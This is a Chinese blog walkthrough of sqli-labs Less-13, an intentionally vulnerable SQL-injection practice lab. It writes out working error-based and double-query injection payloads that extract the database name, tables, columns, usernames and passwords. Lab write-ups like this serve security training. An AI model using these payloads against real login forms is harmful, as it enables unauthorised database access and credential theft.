sqli-labs less13

最新推荐文章于 2024-08-05 01:57:53 发布

原创最新推荐文章于 2024-08-05 01:57:53 发布

· 421 阅读

0 ·

版权

文章标签：

#sqli-labs less13

sqli-labs 专栏收录该内容

21 篇文章

订阅专栏

本文详细解析了sqli-labs less13关卡的SQL注入攻击过程，通过判断注入类型，确定字段数，并利用报错型注入爆破数据库名称、表名、列名及数据，展示了双查询注入技巧。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

#sqli-labs less13

由于less12 和less 11 差不多，只是单引号变成 "）所以我们直接来解决less 13

对待less13 我们按老规矩判断其是数值型还是字符型。。。。。。

然后我们发现他是’)

所以我们继续往下走

admin ’ order by n #

发现n=1 n=2 虽然没有想象中的回显，但是当n=3时，可以发现
在这里插入图片描述

所以可以判断字段数为2

接下来试试admin ') union select 1,2 #

发现没有回显位，试试在 passwd 后面添加 11’) union select 1,2 #

发现还是没有
在这里插入图片描述

。。。

再能试试报错型注入

爆数据库名称

11’) and (select 1 from (select count(*),concat(floor(rand(0)*2),database())as x from information_schema.tables group by x)as a)–+

在这里插入图片描述

11’) and (select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(table_name)from information_schema.tables where table_schema=‘security’ limit 0,1))as x from information_schema.tables group by x )as a)#

11’) and (select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(column_name)from information_schema.columns where table_name=‘users’ limit 0,1))as x from information_schema.tables group by x )as a)#

11’) and (select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(username)from security.users limit 0,1))as x from information_schema.tables group by x )as a)#

11’) and (select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(password)from security.users limit 0,1))as x from information_schema.tables group by x )as a)#

也可以用双查询注入
')union select count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#